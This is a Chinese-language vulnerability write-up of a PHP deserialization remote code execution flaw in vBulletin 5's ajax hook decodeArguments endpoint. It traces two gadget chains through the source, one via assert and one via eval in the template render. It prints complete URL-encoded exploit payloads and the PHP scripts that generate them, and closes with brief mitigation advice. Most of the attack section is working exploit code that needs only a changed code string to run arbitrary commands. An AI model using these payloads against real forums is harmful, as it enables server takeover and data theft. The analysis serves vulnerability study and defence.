0x00 漏洞综述
-

vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。它使用目前发展速度最快的 Web 脚本语言php编写,并且基于以高效和疾速著称的数据库引擎 MySQL。并且是世界上用户非常广泛的PHP论坛 。

vBulletin在其ajax接口使用了反序列化函数unserialize。导致存在漏洞,可以覆盖其上下文中使用的类的类变量,导致可以产生各类问题。

0x01 漏洞分析
-

1,漏洞本质问题

hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。并且攻击者还可以控制传入的$arguments的值,因此漏洞的全部演出从这里开始。

public function decodeArguments($arguments)
{
 =》if ($args = @unserialize($arguments))
    {
        ...

2,反序列化后对上下文变量覆盖的利用

POC角度分析

http://192.168.103.129/vBulletin/upload/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A21%3A%22print%28%27Hello+world%21%27%29%22%3B%7D

对URL进行分解,path为vBulletin对参数进行路由转换的结果,本质也是mvc调用,vBulletin处理的格式为ajax/api/[controller]/[method],也就是说此访问页面调用的是hook文件的decodeArgument方法。query内只有一个参数,参数的名称为arguments,参数的值为一段序列化的代码。

看下输出序列化值的代码

<?php
class vB_Database_MySQL {
   public $functions = array();
   public function __construct() {
           $this->functions['free_result'] = 'assert';
   }
}

class vB_dB_Result {
   protected $db;
   protected $recordset;
   public function __construct() {
           $this->db = new vB_Database_MySQL();
           $this->recordset = 'print(\'Hello world!\')';
   }
}


print urlencode(serialize(new vB_dB_Result())) . "\n";

?>

最终输出的是 serialize(new vB_dB_Result())的值,类vB_dB_Result定义了两个protected变量,并且其构造函数对这两个protected变量进行复制,$recordset赋值为一段字符串,从poc也可看出来,$recordset的值就是要执行的代码片段。$db的赋值为vB_Database_MySQL,定义了一个数组类型的变量$functions,并给这个数组的free_result索引赋值为assert。因此可以对此进行下小结,vBulletin通过对传值进行反序列化操作,可以对其执行上下文中的变量进行覆盖。覆盖后,会产生代码执行漏洞。

代码角度分析

首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_Database_Result类。

public function decodeArguments($arguments)
{
 =》if ($args = @unserialize($arguments))
    {
        $result = '';

        foreach ($args AS $varname => $value)
        {
            $result .= $varname;
            ...

接着进入foreach函数,由于$args为对象数据结构,并且当前类(vB_Database_Result类)implements于Iterator接口,因此当php在遍历对象$args时,便首先会调用其rewind()方法。foreach遍历对象迭代器遍历。以上两个链接详细讲解了php遍历对象操作的细节。

public function decodeArguments($arguments)
{
    if ($args = @unserialize($arguments))
    {
        $result = '';

     =》foreach ($args AS $varname => $value)
        {
            $result .= $varname;
            ...

然后跟入result.php的vB_Database_Result类的rewind()方法,此方法会调用当前类内的类变量$db的free_result方法,并且为其传入类变量$recordset的值。

public function rewind()
{
    if ($this->bof)
    {
        return;
    }

    if ($this->recordset)
    {
     =》$this->db->free_result($this->recordset);
    }
    ...

最后跟入database.php的vB_Database类的free_result方法,由于控制了当前类(vB_Database类)的变量$functions[‘free_result’],和传入的$queryresult,因此此处达成了动态函数执行,漏洞利用至此结束。

function free_result($queryresult)
{
    $this->sql = '';
 =》return @$this->functions['free_result']($queryresult);
}

3,反序列化后利用魔术方法RCE的利用

POC角度分析

http://192.168.103.129/vBulletin/upload/ajax/api/hook/decodeArguments?arguments=O%3A7%3A%22vB_vURL%22%3A1%3A%7Bs%3A7%3A%22tmpfile%22%3BO%3A16%3A%22vB_View_AJAXHTML%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00content%22%3BO%3A12%3A%22vB5_Template%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00template%22%3Bs%3A10%3A%22widget_php%22%3Bs%3A13%3A%22%00%2A%00registered%22%3Ba%3A1%3A%7Bs%3A12%3A%22widgetConfig%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22phpinfo%28%29%3Bdie%28%29%3B%22%3B%7D%7D%7D%7D%7D

POC如上,同理上文的路径分析。

看下输出序列化值的代码

<?php
class vB5_Template {
    public $tmpfile;
    protected $template;
    protected $registered = array();
    public function __construct() {
        $this->template = 'widget_php';
        $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();');
   }
}

class vB_View_AJAXHTML {
    public $tmpfile;
    protected $content;
    public function __construct() {
        $this->content = new vB5_Template();
   }
}

class vB_vURL {
    public $tmpfile;
    public function __construct() {
        $this->tmpfile = new vB_View_AJAXHTML();
    }
}

print urlencode(serialize(new vB_vURL())) . "\n";
?>    

最终输出的是 serialize(new vB_vURL())的值,向类vB_vURL注入了一个public变量$temfile,并且赋值为类vB_View_AJAXHTML,而类vB_View_AJAXHTML的构造函数中,向其类内对象$content赋值类vB5_Template,最终的利用代码在类vB5_Template中$template和$registered中,含义分别是调用模板widget_php和$registered[‘widgetConfig’]的值为利用代码。

代码角度分析

首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_vURL类。

public function decodeArguments($arguments)
{
 => if ($args = @unserialize($arguments))
    {
        $result = '';

     =》foreach ($args AS $varname => $value)
        {
            $result .= $varname;

            if(is_array($value))
            {
                $this->decodeLevel($result, $value, '=');
            }

            $result .= "\n";
        }

        return $result;
    }

    return '';
}

在foreach中,由于$args为对象数据结构,并且当前类(vB_vURL类)并没有implements于Iterator接口,因此当php在遍历对象$args时,只是会遍历vB_vURL类的public变量,不会产生漏洞。

由于要进行return操作,因此便出发了当前类(vB_vURL类)的析构函数。

function __destruct()
{
 => if (file_exists($this->tmpfile))
    {
        @unlink($this->tmpfile);
    }
}

由于为其$tmpfile赋值为一个对象,fileexists方法会试图把类转化为字符串,因此触发了$tmpfile对象的\_toString()方法。(由于传入的是vB_View_AJAXHTML类,vB_View_AJAXHTML类继承于vB_View类,因此触发的是vB_View类的__toString方法

public function __toString()
{
    try
    {
       => return $this->render();
    }
    catch(vB_Exception $e)
    {
        //If debug, return the error, else
        return '';
    }
}

由上文可知,当前$this对象其实还是vB_View_AJAXHTML类的对象,因此进入了vB_View_AJAXHTML类的render()方法,由于定义了vB_View_AJAXHTML类的$content类对象。

public function render($send_content_headers = false)
{
    ...

    if ($this->content)
    {
      =》 $xml->add_tag('html', $this->content->render());
    }

类对象$content已经被赋值为vB5_Template类对象,因此会进入vB5_Template类的render()方法。

public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
{
    $this->register('user', $user, true);
    extract(self::$globalRegistered, EXTR_SKIP | EXTR_REFS);
 =》extract($this->registered, EXTR_OVERWRITE | EXTR_REFS);

    ...

    $templateCache = vB5_Template_Cache::instance();
 =》$templateCode = $templateCache->getTemplate($this->template);
    if($templateCache->isTemplateText())
    {
       =》@eval($templateCode);
    }

vB5_Template类的render()方法,此方法会执行extract()方法和eval()方法,并且都可以控制传入的参数,因此会导致代码执行。再看一次poc。

<?php
class vB5_Template {
    public $tmpfile;
    protected $template;
    protected $registered = array();
    public function __construct() {
        $this->template = 'widget_php';
        $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();');
   }
}

也就是说,目前我们控制两个关键点。

  • 要执行的模板
  • 模板需要的参数

此时代码已经覆盖了$registered变量的widgetConfig索引,因此会把数组$widgetConfig注册到全局变量内,其var_dump为

array (size=1)
    'code' => string 'print_r('hello manning');die();' (length=31)

然后模板widget_php存在

$evaledPHP = vB5_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code']); 

因此,导致代码执行。

0x02 漏洞总结
-

vBulletin 5系列通杀的代码执行漏洞,无难度getshell。这个漏洞可以说是php反序列化操作的最佳反面教程,讲述了使用反序列化不当,造成的严重后果。既可覆盖代码的上下文进行RCE,又可利用传统的方式在魔术方法中进行RCE。

漏洞小结

影响范围个人评价为“高”,危害性个人评价为“高”,vBulletin在全球的使用范围非常广,此漏洞在vBulletin 5版本通杀。

防护方案

使用反序列化的地方增多了数据的种类,增大了风险。因此防护方案如下:

  • 使用反序列化结果的地方,检测是否存在危险操作
  • 尽量避免使用反序列化交互操作

0x03 引用资料
-